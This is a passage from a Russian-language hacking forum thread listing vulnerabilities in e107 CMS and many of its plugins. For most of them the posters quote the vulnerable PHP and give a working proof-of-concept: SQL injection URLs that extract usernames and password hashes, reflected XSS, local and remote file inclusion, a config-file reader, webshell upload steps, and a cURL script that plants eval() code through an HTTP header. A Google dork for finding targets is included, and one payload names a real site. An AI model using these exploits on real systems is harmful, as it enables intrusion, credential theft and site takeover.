Старый 03.09.2010, 16:47   #41
padla
 
Регистрация: 05.07.2010
Сообщений: 10
Репутация: 1
По умолчанию

Проверял только на 0.7.22 и 0.7.23 Не совсем уязвимость, но можно запороть любой коментарий, будь то на форуме, лс или коментарий к пользователю и к новости.

достаточно вставить

Код:
[img onload=document.location.href=0x687474703a2f2f676f6f676c652e7275]http://host/e107_images/generic/bbcode/image.png[/img]
0x687474703a2f2f676f6f676c652e7275 - это захекшеный гугл, вставить можно любое

©by sw3n
__________________
Ебитесь, только не размножайтесь, пожалуйста. ©
padla вне форума   Ответить с цитированием
Старый 11.12.2010, 01:11   #42
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

Sport league v0.75 для e107

[скачать]

SQL inj

e107_plugins/sport_league_e107/profil.php
PHP код:
/*...*/
require_once("../../class2.php");
require_once(
HEADERF);
$lan_file e_PLUGIN."sport_league_e107/languages/".e_LANGUAGE."/league_roster_lan.php";
require_once(
file_exists($lan_file) ? $lan_file :  e_PLUGIN."sport_league_e107/languages/German/league_roster_lan.php");
require_once(
"".e_PLUGIN."sport_league_e107/functionen.php");
// ============= START OF THE BODY ====================================
 
$qry1="
               SELECT a.*, ae.* FROM "
.MPREFIX."league_roster AS a
                LEFT JOIN "
.MPREFIX."league_players AS ae ON ae.players_id=a.roster_player_id
                WHERE a.roster_id ="
.$_GET['player_id']."
           "
;
    
$sql->db_Select_gen($qry1);
  while(
$row $sql-> db_Fetch())
          {
             
$player[0]=$row['roster_id'];
            
$player[2]=$row['roster_saison_id'];
/*...*/ 
PoC:
Код:
http://[host]/[path]/e107_plugins/sport_league_e107/profil.php?player_id=1 and 0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat_ws(0x3a,user_loginname,user_password) from e107_user limit 0,1--
скрин

WAP-версия сайта на e107 CMS

http://blog.svetoch.biz/download/2/

pXSS


wap.php в корене.
PHP код:
$mode = $_GET["mode"];

if($mode <> "html"){

    header("Content-type: text/vnd.wap.wml");
    echo "<?xml version=\"1.0\"?>";
    echo 
"<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\""
       
" \"http://www.wapforum.org/DTD/wml_1.1.xml\">";
/*...*/
lseif($section == "comments"){
    
$cid $_GET["cid"];

    if(
$cid){
        
$caption.= "Комментарии $cid";
/*...*/
PoC:
Код:
http://[host]/[path]/wap.php?section=comments&cid=%3Cscript%3Ealert(123)%3C/script%3E&mode=html
e107 BLOG Engine - v2.0.3
Автор MacGuru. Перевел и разместил ReckouNT

[скачать]

SQL inj

e107_plugins/macgurublog_menu/macgurublog.php
PHP код:
/*...*/
$buid $_GET['uid'];
$gpf $_GET['gpf'];
if (!isset(
$buid)) {
    
//list
    
require(e_PLUGIN."macgurublog_menu/macgurublog_menu.php");
} else {
    
//the users blog
    
$sql -> db_Select("macgurublog_main""*""blog_uid=".$buid);
    
$row $sql-> db_Fetch();
/*...*/ 
PoC:
Код:
http://[host]/[path]/e107_plugins/macgurublog_menu/macgurublog.php?uid=1%20and%200%20union%20select%201,concat_ws%280x3a,user_loginname,user_password%29,3%20from%20e107_user
скрин

AACGC Game List v.3.2
скачать с plugins.e107.org
inurl:/e107_plugins/aacgc_gamelist

SQL inj
Нужно быть авторизированным.

e107_plugins/aacgc_gamelist/AddMe.php
Код:
/*...*/
if (e_QUERY) {
        $tmp = explode('.', e_QUERY);
        $action = $tmp[0];
        $sub_action = $tmp[1];
        $id = $tmp[2];
        unset($tmp);
}

$sql->db_Select("aacgc_gamelist", "*", "WHERE game_id = $sub_action","");
$row = $sql->db_Fetch();
/*...*/
<td colspan=2>
<i>Are You Sure You Want To Be Added To The <b>".$row['game_name']."<b> List?</i>
</td>
/*...*/
PoC:
Код:
http://[host]/[path]/e107_plugins/aacgc_gamelist/AddMe.php?0.1%20and%200%20union%20select%201,%28SELECT%20concat_ws%280x3a,user_loginname,user_password%29%20from%20e107_user%20limit%200,1%20%29,3,4,5,6,7,8,9,10,11,12
Path Disclosure
display_errors = On

PoC:
Код:
http://[host]/[path]/e107_plugins/aacgc_gamelist/search.php
http://[host]/[path]/e107_plugins/aacgc_gamelist/Game_Cat_List_menu.php
http://[host]/[path]/e107_plugins/aacgc_gamelist/Game_List_menu.php
http://[host]/[path]/e107_plugins/aacgc_gamelist/Game_Showcase_menu.php
http://[host]/[path]/e107_plugins/aacgc_gamelist/Game_User_List_menu.php
LFI
magic_quotes_gpc = Off
[скачать]


/tiny_mce/plugins/imanager/langs/lang.class.php
PHP код:
/*...*/
function PLUG_Lang$lang '' ) {
        global 
$cfg;
        if ( 
$lang == '' ) {
            
$this -> lang $cfg['lang'];
        } else {
            
$this -> lang $lang;
        }
        
$this -> loadData();
    }

    
// load language data
    
function loadData() {
        global 
$cfg;
        include( 
dirname(__FILE__) . '/' $this -> lang.'.php' );
        
$this -> charset $lang_charset;
/*...*/ 
tiny_mce/plugins/imanager
PHP код:
/*...*/
include dirname(__FILE__) . '/langs/lang.class.php';    
    
//-------------------------------------------------------------------------
    // language settings    
    
$l = (isset($_REQUEST['lang']) ? new PLUG_Lang($_REQUEST['lang']) : new PLUG_Lang($cfg['lang']));
/*...*/ 
PoC
Код:
http://[host]/[path]/tiny_mce/plugins/imanager/imanager.php?lang=../../../../../favicon.ico%00

pXSS

tiny_mce/plugins/imanager/scripts/popup.php
PHP код:
if ( get_magic_quotes_gpc() ) {
        $_GET['url'] = stripslashes($_GET['url']);
    }
    $src   = @$_REQUEST['url'];
    $clTxt = (isset($_REQUEST['clTxt']) ? $_REQUEST['clTxt'] : $cfg['clTxt']);
/*...*/
<img onclick="window.close();" src="<?php echo $src?>" border="0" alt="<?php echo $clTxt?>" title="<?php echo $clTxt?>" style="cursor: pointer;"/></div>
PoC:
Код:
http://[host]/[path]//tiny_mce/plugins/imanager/scripts/popup.php?url=%22%3E%3Cscript%3Ealert%28123%29%3C/script%3E
pXSS
скачать 0.7.24

Cтандартный tiny_mce. Проверил на самом последнем релизе 0.7.24.

/e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php
PHP код:
/*...*/
<form id=\"libbrowser\" method=\"post\" action=\"ibrowser.php?request_uri=".$_GET['request_uri']."\" enctype=\"multipart/form-data\" target=\"imglibrary\">
/*...*/ 
PoC:
Код:
http://[host]/[path]/e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php?request_uri=%22%3E%3Cscript%3Ealert%28123%29%3C/script%3E

Дорк
:
intext:"This site is powered by e107"

Скажу по секрету что автора плагинов ~M@CH!N3~ для этой CMS я просто люблю

AACGC Public News
06:54 03-Dec-10
[скачать]

Будущий дорк:
inurl:e107_plugins/aacgc_pnews

SQLinj

e107_plugins/aacgc_pnews/News.php
PHP код:
/*...*/
if (e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}
/*...*/
$sql ->db_Select("aacgc_pnews_cat""*""WHERE news_cat_id = ".$sub_action."","");
$row $sql ->db_Fetch();
$newscatid $row['news_cat_id'];
$newscattitle $row['news_cat_title'];
$newscatdesc $row['news_cat_desc'];

$text .= "<tr>
      <td colspan='2' style='width:100%' class='"
.$themea."'><center>
      <a href='"
.e_PLUGIN."aacgc_pnews/News.php?det.".$newscatid."'><font size='".$pref['pnews_news_catfsize']."'><b>".$newscattitle."</b></font></a><br>".$newscatdesc."
      </center></td></tr>"
;
/*...*/
$title .= "Public News"// <- в начале
$ns -> tablerender($title$text);
/*...*/ 
class2.php
PHP код:
/*...*/
if (!class_exists('e107table'))
{
    class 
e107table
    
{
        function 
tablerender($caption$text$mode "default"$return false) {
            
/*
            # Render style table
            # - parameter #1:                string $caption, caption text
            # - parameter #2:                string $text, body text
            # - return                                null
            # - scope                                        public
            */
            
global $override;

            if (
$override_tablerender $override->override_check('tablerender')) {
                
$result=call_user_func($override_tablerender$caption$text$mode$return);

                if (
$result == "return") {
                    return;
                }
                
extract($result);
            }

            if (
$return) {
                
ob_start();
                
tablestyle($caption$text$mode);
                
$ret=ob_get_contents();
                
ob_end_clean();
                return 
$ret;
            } else {
                
tablestyle($caption$text$mode);
            }
        }
    }
}
/*...*/
$ns=new e107table;
/*...*/ 
PoC:
Код:
http://[host]/[path]/e107_plugins/aacgc_pnews/News.php?1.2 and 0%20union%20select%201,concat_ws%280x3a,user_loginname,user_password%29,3%20from%20e107_user%20limit%200,1
скрин

SQLinj
Код:
http://[host]/[path]/e107_plugins/aacgc_pnews/News_Details.php?1.2%20and%200%20union%20select%201,concat_ws%280x3a,user_loginname,user_password%29,3,4,5,6,7,8%20from%20e107_user%20limit%200,1

PS
1. В News.php по коду далее 2-d order намечаеться.
2. В других скриптах видел иньекции, но нехочеться смотреть(

Hupsis Media Gallery
[скачать]]


pXSS

/e107_plugins/hupsis_media_gallery/FileManager/ajaxfilemanager/ajaxfilemanager.php
PHP код:
/*...*/
    var queryString = '<?php echo makeQueryString(array('path')); ?>';
/*...*/
e107_plugins/hupsis_media_gallery/FileManager/ajaxfilemanager/inc/config.php
PHP код:
/*...*/
require_once(DIR_AJAX_INC "function.base.php");
/*...*/ 

e107_plugins/hupsis_media_gallery/FileManager/ajaxfilemanager/inc/function.base.php
PHP код:
/*...*/
function makeQueryString($excluded=array())
    {
        
$output '';
        
$count 1;
        foreach(
$_GET as $k=>$v)
        {
            if(
array_search($k$excluded) === false)
            {
                
$output .= ($count>1?'&':'') . ($k "=" $v);
                
$count++;
            }
        }
        return 
$output;
    }
/*...*/ 
Код:
http://[host]/[path]/e107_plugins/hupsis_media_gallery/FileManager/ajaxfilemanager/ajaxfilemanager.php?%3Cscript%3Ealert%28123%29%3C/script%3E
Заливка кода в текстовый файл:
Код:
<form name="" action="http://[host]/[path]/e107_plugins/hupsis_media_gallery/FileManager/ajaxfilemanager/ajax_save_text.php" method="post">
<input name="folder" type="text" value="../../content">
<input name="name" type="text" value="1.php.txt">
<input name="save_as_request" type="text" value="1">
<input name="text" type="text" value="<?php echo '<?php phpinfo() ?>' ?>">
<input type="submit" value="test">
</form>
Код:
http://[host]/[path]/e107_plugins/hupsis_media_gallery/content/1.php.txt
Код не привожу, но считаю нужно реализацию!

Какие лились у меня:
PHP код:
define('CONFIG_EDITABLE_VALID_EXTS''txt,htm,html,xml,js,css'
AACGC Wish List

Author
~M@CH!N3~
Date
22:03 05-Dec-10

[скачать]

SQL inj

/e107_plugins/aacgc_wishlist/Wish_List_Details.php
PHP код:
/*...*/
if (e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
/*...*/
if ($action == "det"){


$sql->db_Select("aacgc_wishlist""*""WHERE list_user_id=$sub_action","");
$row $sql->db_Fetch();
/*...*/
$text .= "
        <tr>
        <td class='"
.$themea."' colspan=3><center>".$avatar." ".$userorb."</td></tr>
        <td class='"
.$themeb."'>".$listtype."</td>
        <td class='"
.$themeb."'>End Date:<br>[".$row['list_date']."]</td>
        <td class='"
.$themeb."'>".$pageviews."</td>
        </tr>"
;
/*...*/ 
В других файлах есть иньекции.

PoC:
Код:
http://[host]/[path]/e107_plugins/aacgc_wishlist/Wish_List_Details.php?det.2%20and%200%20union%20select%201,2,3,4,concat_ws%280x3a,user_loginname,user_password%29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from%20e107_user%20limit%200,1
скрин

e107 Newsletter v3.30 by addy

скачать

SQL inj
magic_quotes_gpc = Off

e107_plugins/e107newsletter
PHP код:
/*...*/
switch ($_GET['caseid']) {
    
// ############################################################################################
    // #############     TRACK THE CLICK THROUGH AND FORWARD TO REDIRECT URL    ###################
    // ############################################################################################
    
case 'trackit':

        
$codes explode("."$_GET['code']);
        
$archive_id $codes[0];
        
$memberid $codes[1];
        
$newsid $codes[2];
        
$check $codes[3];
        
// check result code
        
if ($check == ($archive_id 10) + $memberid $newsid) {
            if (
$sql2->db_Select("newsletters""newsletter_redirect_url""newsletter_id = '" $newsid "'""default")) {
                
// if archived newsletter still exists than get redirect_url and update counters etc.
                
$row $sql2->db_Fetch();
                
extract($row);
                
// get member details
                
$sql2->db_Select("newsletter_member""members_email,members_E107_user_id""members_id = '" $memberid "'""default");
                
$row $sql2->db_Fetch();
                
extract($row);
                
// handle E107 members
                
if ($members_E107_user_id 0) {
                    if (
$sql2->db_Select("user""user_id, user_email""user_id = '" $members_E107_user_id "'""default")) {
                        
$row $sql2->db_Fetch();
                        
extract($row);
                        
$members_email $user_email;
                    }
                }
                
$time_actual time();
                
$sql2->db_Insert("newsletter_tracking (tracking_send, tracking_email, tracking_timestamp)""'" $archive_id "', '" $members_email "', '" $time_actual "'");
                echo 
"<meta http-equiv=refresh content='0;URL=" $newsletter_redirect_url "'>";
                exit;
            } else {
                
// else jump to site main page
                
js_location(e_BASE "index.php");
/*...*/ 
Интересная проверка в файле
PHP код:
/*...*/if ($check == ($archive_id 10) + $memberid $newsid) {/*...*/ 
PoC:
Код:
http://[host]/[path]/e107_plugins/e107newsletter/track_newsletter.php?caseid=trackit&code=1.2.3%27%20and%200%20union%20select%20concat_ws%28%27:%27,user_loginname,user_password%29%20from%20e107_user--%20.19
Оключаем редирект и смотрим свободно в теге.
Цитата:
<meta http-equiv=refresh content='0;URL=admin:21232f297a57a5a743894a0e4a801 fc3'>
RPS for Gold System v1.1 by Spyro

скачать


SQL inj + FPD

magic_quotes_gpc = Off

e107_plugins/knp/knp.php
PHP код:
/*...*/
if(isset($_GET['mode'])){
$isd $_GET['i'];
$p_hrac1 $_GET['g'];
$p_symbol2 $_GET['s'];


     
$sql -> db_Select("knp""*""ix ='$isd'");
         while(
$row $sql-> db_Fetch()){ // start loop
                                         //Début de la boucle
                 
$hcastka "".$row['castka']."";
                 
$h_symbol1 "".$row['symbol']."";
                 
$h_id "".$row['id']."";
                 
$g_name ="".$row['hname']."";
}
//---Remíza - Kámen-=====================================================================================================================
if($h_symbol1 == && $p_symbol2 == 1){$text ="
<table border='0' width='100%' class='forumheader3'>
  <tr>
    <td width='100%'>
      <p align='center'>"
.LAN_KNP_23." <b>".LAN_KNP_24."</b>. ".LAN_KNP_25." <a href='../../user.php?id.$h_id'>$g_name</a> ".LAN_KNP_26." <img src='images/1.gif' border='0'>.<br>
      </td>
  </tr>
</table>
"
;
//---odeslani zpravy---
if($pm == 1){
/*...*/ 

PoC:
Код:
http://[host]/[path]/e107_plugins/knp/knp.php?i=1%27%20and%200%20union%20select%201,2,version%28%29,4,1--%20&mode=1&s=1
скрин

IRDJ Schedule v1.2 by martinj

скачать

SQL inj
magic_quotes_gpc = Off

e107_plugins/irdj/profile.php
PHP код:
/*...*/
$view_profile=$_GET['id'];

    
$work=mysql_query("SELECT * FROM ".$mySQLprefix."irdjprofile_admin WHERE id='$view_profile'");
        if (!
mysql_affected_rows())
        die (
"Error - Profile not found!");

    
$row=mysql_fetch_array($work);
/*...*/ 
PoC:
Код:
http://[host]/[path]/e107_plugins/irdj/profile.php?id=1%27%20and%200%20union%20select%201,2,version%28%29,4,5,6,7,8,9,10%23
roll_mini

скачать

SQL inj
magic_quotes_gpc = Off



e107_plugins/roll_mini/roll.php
PHP код:
/*...*/
if ($_GET['cat']) $id_cat $_GET['cat']; else $id_cat "1";
/*...*/
$mydb->db_Select("roll_mini_cat""*""id = '$id_cat' order by id");
while(
$row $mydb->db_Fetch()) {
    
$caption $row['name'];
}
/*...*/ 
PoC:
Код:
http://pub-tower.ru/e107_plugins/roll_mini/roll.php?cat=1%27%20and%200%20union%20select%201,2,concat_ws%28%22%27%22,user_loginname,user_password%29,4,5,6%20from%20e107_user%20limit%200,1--%20&card_id=109
e Card

скачать

SQL inj
magic_quotes_gpc = Off

e107_plugins/ecards_menu/getmusic.php
PHP код:
/*...*/
$music=$_GET['music'];
/*...*/
if ($music)
{
    
$sql->db_Select("card_music""*""where mpath='$music'""nowhere"false);
    
$ecard_mrow $sql->db_Fetch();
    echo
"
            <table width='100%'>
                <tr>
                    <td class='forumheader2'>"
.$ecard_mrow['mname']."
                    <embed src=\"sound/"
.$ecard_mrow['mpath']."\"
                 width=\"00\" height=\"00\"
                 autostart=\"true\"
                 name=\"mysound\"
                 enablejavascript=\"true\"/>
                    </td>
                </tr>
            </table>"
;
}
/*...*/ 
PoC:
Код:
http://[host]/[path]/e107_plugins/ecards_menu/getmusic.php?music=1%27%20and%200%20union%20select%201,concat_ws%28%27:%27,user_loginname,user_password%29,3%20from%20e107_user%23

SQL inj
magic_quotes_gpc = Off

PoC:
Код:
http://[host]/[path]/e107_plugins/ecards_menu/getpoem.php?poem_id=1%27%20and%200%20union%20select%201,2,concat_ws%28%27:%27,user_loginname,user_password%29,4,5%20from%20e107_user%23
Alternate_profiles v0.5

скачать

SQLinj

Условия:
авторизироваться под рядовым и усе.

e107_plugins/alternate_profiles/newuser.php
PHP код:
/*...*/
if ($pref['profile_allowguests'] == 'No' or $pref['profile_allowguests'] == '') {
    if (!
USER) {
    
$ns->tablerender("Error",PROFILE_2);
    require_once(
FOOTERF);
    exit;
    }
}

if (isset(
$_GET['id'])) {
$id $_GET['id'];
$sql -> db_Select("user""*""user_id=".$id."");
$user $sql -> db_Fetch();
/*...*/ 
Poc:
Код:
http://[host]/[path]/e107_plugins/alternate_profiles/newuser.php?id=1%20and%200%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,concat_ws%280x3a,user_loginname,user_password%29,25,26,27,28,29,30,31%20from%20e107_user%20limit%200,1--
скрин

Грузим шелл
условия: нужно авторизироваться рядовым.
Код:
http://[host]/[path]/alternate_profiles/newusersettings.php?page=images&uploaded =>
кнопка обзор => 
кнопка upload =>  
наш шелл http://[host]/[path]/e107_plugins/alternate_profiles/userimages/2/shellname.php
PHP код:
$dir "userimages/".USERID."/"
USERID => user_id в [prefix]_user, на каталог .htaccess нет.

my_gallery v2.3

скачать

Читалка файлов

e107_plugins/my_gallery/dload.php
PHP код:
<?php
$file 
$_GET['file'];
$date_txt date("y-m-d_H-i-s");
$text "Content-Disposition: attachment; filename=".$_SERVER["SERVER_NAME"]."_e107_my_gallery_".$date_txt.".jpg";
header('Content-type: image/jpeg');
header($text);
readfile($file);
?>
PoC:
Код:
http://[host]/[path]/e107_plugins/my_gallery/dload.php?file=../../e107_config.php
LFI
magic_quotes_gpc = Off

e107_plugins/my_gallery/my_gallery.php
PHP код:
$m_position $pref['mygallery_memo_show']; // по умолчанию не равно 0 :)
/*...*/
if ($_GET['gallery']) $gallery $_GET['gallery'];
if (
$_GET['page']) $page $_GET['page'];
/*...*/
if ($m_position != "0") {
    if (
file_exists("$gallery/index.php")) {
        include_once(
"$gallery/index.php");
        }
    }
/*...*/ 
PoC:
Код:
http://[host]/[path]/e107_plugins/my_gallery/my_gallery.php?gallery=../../favicon.ico%00
зы
ftp:// пускает.
/class2.php
PHP код:
/*...*/
// Filter common bad agents / queries.
if(strpos($_SERVER['QUERY_STRING'],"=http")!==FALSE || strpos($_SERVER["HTTP_USER_AGENT"],"libwww-perl")!==FALSE)
{
    exit();
}
/*...*/ 
Ну тогда RFI

Участок кода такой же:
PHP код:
if ($m_position != "0") {
    if (
file_exists("$gallery/index.php")) {
        include_once(
"$gallery/index.php");
        }
    } 
PoC:
Код:
http://[host]/[path]/e107_plugins/my_gallery/my_gallery.php?gallery=ftp://name:pass@XXX.XXX.XXX.XXX:port/file.txt?
Notice-Board v2 beta

скачать

SQLinj

e107_plugins/nboard/doadd.php
PHP код:
<?php
/*============================= Notice-Board v2.0 ======================================|
|    author - ComPolyS, http://e107.compolys.ru, e107@compolys.ru            |
|    coder - Sunout, sunout@compolys.ru                        |
=================================== december 2010 =====================================*/
header('Content-Type: text/xml');
require_once(
"../../class2.php");
//if(!getperms("P")){header("location:".e_BASE."index.php"); exit; }
require_once(e_HANDLER."form_handler.php");
require_once(
e_HANDLER."userclass_class.php");

$cat_id $_GET['id'];
    
mysql_query('SET NAMES cp1251');
    
mysql_query ("set character_set_results='utf8'");
    
$dom = new DOMDocument();
    
$response $dom -> createElement('response');
    
$dom -> appendChild($response);
    
$books $dom -> createElement('books');
    
$response -> appendChild($books);
$sql -> db_Select("nb_cat""*""cat_sub_id=$cat_id");
    while(
$row $sql -> db_Fetch()){
        
$cat_id $row['cat_id'];
        
$cat_name $row['cat_name'];
        
$book $dom -> createElement('book');
        
$title $dom -> createElement('title');
            
$titleText $dom -> createTextNode($cat_id);
            
$title -> appendChild($titleText);
            
$isbn $dom -> createElement('isbn');
            
$isbnText $dom -> createTextNode($cat_name);
            
$isbn -> appendChild($isbnText);
            
$book -> appendChild($title);
        
$book -> appendChild($isbn);
        
$books -> appendChild($book);
    }
    
$xmlString $dom -> saveXML();
    echo 
$xmlString;
?>
PoC:
Код:
http://[host]/[path]/nboard/doadd.php?id=1%20and%200%20union%20select%201,2,version%28%29,4
скрин

e107_quiz v0.9.1

скачать

SQL inj

Условия:
Нужно быть авторизированым.
Magic_quotes_gpc = Off

e107_plugins/e107_quiz/chkanswears.php
PHP код:
/*...*/
  
$conn = @mysql_connect($mySQLserver,$mySQLuser,$mySQLpassword);
   if (
$conn==FALSE) {
     die(
"<br />ERROR: cannot connect to database<br />" );
   }
   
$array $_POST;

   
$idto = (INT)$_POST['testid'];
   if (isset(
$_POST['questionlist']))
   {
      
$questinlist $_POST['questionlist'];
   }

   if (empty(
$_POST['questionlist']))
   {
      print 
e107_quiz_USER_L9;
   }

   
$brcorans 0;  //broi verni otgovori.
   
$brwrans 0;   //broi gre6ni otgovori.
   
$arrcorans ""//spisak na vernite vaprosi.
   
$arrwrans "";  //spisak na gre6nit
/*...*/
function checkanswears($conn, &$test, &$brcorans, &$brwrans, &$arrcorans, &$arrwrans)
{
   
$questbr 1;
   if(
is_array($_POST))
   {
       
$size count($_POST);
       if(
$size)
       {
           for(
$i=0$i $size$i++)
           {
               list(
$key$value) = each($_POST);  //simulirane na foreach
               
if($key == "testid"){continue;}
               if(
$key == "chkanwers"){
                  break;
               }
               list(
$qtype$rest) = explode("_"$key);
               if (
$qtype == "qnr")
               {
                   list(
$questid $userans) = explode("-"$value);
                   
$query "SELECT tq_corans FROM ".MPREFIX."test_questions WHERE tq_id = '$questid'";
                   echo 
$query;
                   
$result mysql_query($query $conn) or die ('Error, cant not get right answear: ' mysql_error());
                   
$myrow mysql_fetch_array($result);
/*...*/
if(USER)
{
       
$test "";
       
checkanswears($conn$test$brcorans$brwrans$arrcorans$arrwrans);
       
$arrtest explode(" : "$test);
       
$arrtestbr count($arrtest);
       
$i =0;
       
$text .= "<table class='maintable' style=\"width:100%\" border=\"1\">
                 <tr>
                 <td class='forumheader' style='vertical-align:top' width=\"10px\"><b>"
.e107_quiz_CONFIG_L58."</b></td>
                 <td class='forumheader' style='vertical-align:top' width=\"30%\"><b>"
.e107_quiz_CONFIG_L61."</b></td>";

      
$query "SELECT tt_ans FROM ".MPREFIX."test_tests WHERE tt_id = '$idto'";
      
$secvesult mysql_query($query $conn) or die ('Error, cannot get questions: ' mysql_error());
      
$secvmyrow mysql_fetch_array($secvesult);
/*...*/ 
PoC:
Код:
<form action="http://[host]/[path]/e107_plugins/e107_quiz/chkanswears.php" method="post">
<input name="qnr_bla" type="text" value="1' and (select  * from(select name_const(version(),1),name_const(version(),1))a) and  '1">
<input type="submit" value="Send">
</form>
скрин

2asys v0.1

скачать

SQL inj

e107_plugins/2asys_menu/inform.php
PHP код:
/*...*/
if (e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$id $tmp[1];
        
$subid $tmp[2];
        unset(
$tmp);
}
/*...*/
if ($action == "show") {
    
$sql->db_Select("asasys_users""asasys_userid, asasys_nick, asasys_info, asasys_statlink, asasys_stattype, asasys_oldstat, asasys_newstat, asasys_nags, asasys_naglogs, asasys_zvanie, asasys_rank""asasys_id = ".$id);
    
$row $sql->db_Fetch();
    
$flauploads uploadings(nagsoptimazer($row['asasys_nags']));
    
$text .= "<br><br><div style='text-align:left;font-size: 12px;font-weight: bold;'>Информация ".$row['asasys_nick']."</div><br>";
    
$text .= "<div style='text-align:left'><table class='fborder' style='width:95%' align='center'><tr><td class='forumheader3'><b>Награды</b></td></tr><tr><td class='forumheader3' height='400' style='text-align:center'>
      <object classid='CLSID:D27CDB6E-AE6D-11cf-96B8-444553540000' width='500' height='400'
          codebase='http://active.macromedia.com/flash2/cabs/swflash.cab#version=4,0,0,0'>
    <param name='movie' value='2asys.swf'>
    <param name='quality' value='high'>
    <param name='flashvars' value='nags="
.$flauploads."&zvan=".$row['asasys_zvanie']."'>
    <embed src='2asys.swf' quality='high' width='500' height='400' swLiveConnect='false'
           type='application/x-shockwave-flash'
           pluginspage='http://www.macromedia.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash'>
    </embed>
  </object>
    </td></tr></table></div>"
;
    
$text .= "<div style='text-align:left'><table class='fborder' style='width:95%' align='center'><tr><td class='forumheader3'><b>Последнее награждение</b></td></tr><tr><td class='forumheader3'>";
    
$lognags explode("/"$row['asasys_naglogs']);
/*...*/ 
PoC:
Код:
http://[host]/[path]/e107_0.7.24_full/e107_plugins/2asys_menu/inform.php?show.1%20and%200%20union%20select%201,2,concat_ws%280x3a,user_loginname,user_password%29,4,5,6,7,8,9,10,11%20from%20e107_user
скрин

Citatio v0.2

[скачать]

SQL inj

e107_plugins/citatio/citatio.php
PHP код:
/*...*/
if (e_QUERY) {
    list(
$from$order$option$action) = explode("."e_QUERY);
    
$from intval($from);
    
$order urldecode($order);
    unset(
$tmp);
}
$from = ($from $from 0);
$option = ($option $option "mod");
$order = ($order $order "0");
/*...*/
$text .= "<table class='fborder'><tbody>";
$query "citatio_".$option." REGEXP('".$order."') AND citatio_mod = 0";
if(!
$sql -> db_Select("citatio""*"$query." ORDER BY citatio_id DESC LIMIT ".$from.", ".$pref['citatio_amount'])) {
    
$text .= "<tr><td>".LAN_CIT_20."</td></tr>";
}else {
    if(
$action == "authors") {//authors list
        
$text .= "<tr><td class='forumheader3'>";
        while(
$row $sql -> db_Fetch()) {
            
extract($row);
            if (
$citatio_author != $_citatio_author) {
                
$_citatio_author $citatio_author;
                
$text .= "<a href='".e_SELF."?0.".$citatio_author.".author'>".$citatio_author.",</a>  ";
            }
        }
        
$text .= "</td></tr>";
/*...*/ 
PoC:
Код:
http://[host]/[path]/e107_plugins/citatio/citatio.php?1.2.id=1%20and%200%20union%20select%201,2,user_loginname,user_password,5,6%20from%20e107_user%20limit%200,1--
скрин

Вы нашли LFI, но незнаете что проинклудить, вы злые, а на сервере крутиться CMS e107?

Не вопрос!

Разработчики оставили для вас выполнение искодного кода php после перенаправления, если нет заглушки, в дефолтном плагине.

/e107_plugins/gsitemap/admin_config.php
PHP код:
/*...*/
require_once("../../class2.php");
if(!
getperms("P")){ header("location:".e_BASE."index.php"); }
require_once(
e_ADMIN."auth.php");
require_once(
e_HANDLER."userclass_class.php");
include_lan(e_PLUGIN."gsitemap/languages/gsitemap_".e_LANGUAGE.".php");

$gsm = new gsitemap;
/*...*/ 
footer.php с админки.
PHP код:
/*...*/
require_once(e_ADMIN."footer.php");
/*...*/ 
/e107_admin/footer.php
PHP код:
/*...*/
if (isset($_SERVER['HTTP_IF_NONE_MATCH']))
{
    
$IF_NONE_MATCH str_replace('"','',$_SERVER['HTTP_IF_NONE_MATCH']);

    
$data "IF_NON_MATCH = ".$IF_NONE_MATCH;
    
$data .= "\nEtag = ".$etag;
    
file_put_contents(e_ADMIN."etag_log.txt",$data);

/*...*/ 
Запускаем скрипт и усе.

PHP код:
<?
$hostname 
'host/path';
$ch curl_init('http://'.$hostname.'/e107_plugins/gsitemap/admin_config.php');
curl_setopt ($chCURLOPT_HEADER1);
curl_setopt ($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3');
curl_setopt ($chCURLOPT_REFERER'https://'.$hostname.'/index.php');
curl_setopt ($chCURLOPT_POST1);
curl_setopt ($ch,CURLOPT_HTTPHEADER,array('IF_NONE_MATCH: <?php eval($_REQUEST[ev]) ?>'));
curl_exec ($ch);
curl_close ($ch);
?>
Наш евал-код за адресом http://[host]/[path]/e107_admin/etag_log.txt
}{оттабыч вне форума   Ответить с цитированием
Старый 31.01.2011, 17:51   #43
Online
 
Аватар для Online
 
Регистрация: 31.01.2011
Сообщений: 10
Репутация: 10
По умолчанию

Plugin name: RSS-Feed Parser (download)
Version: 1.1

XSS

Vuln file: e107_plugins/parser_menu/scripts/magpie_debug.php(magpie_simple.php, magpie_slashbox.php
PHP код:
...
if ( isset($_GET['url']) ) {
    $url = $_GET['url'];
}
...
<form>
    RSS URL: <input type="text" size="30" name="url" value="<?php echo $url ?>"><br />
    <input type="submit" value="Parse RSS">
</form>
...
Exploit:
Код:
http://[host]/[path]/e107_plugins/parser_menu/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert(111)%3C/script%3E
http://[host]/[path]/e107_plugins/parser_menu/scripts/magpie_simple.php?url=%22%3E%3Cscript%3Ealert%28111%29%3C%2Fscript%3E
http://[host]/[path]e107_plugins/parser_menu/scripts/magpie_slashbox.php?rss_url=%22%3E%3Cscript%3Ealert%28111%29%3C%2Fscript%3E
Online вне форума   Ответить с цитированием
Старый 31.01.2011, 18:37   #44
Online
 
Аватар для Online
 
Регистрация: 31.01.2011
Сообщений: 10
Репутация: 10
По умолчанию

Plugin name: Rock, Paper, Scissors (download)
Version: 1.1

SQL inj

Vuln file: e107_plugins/knp/knp.php
PHP код:
...
if(isset(
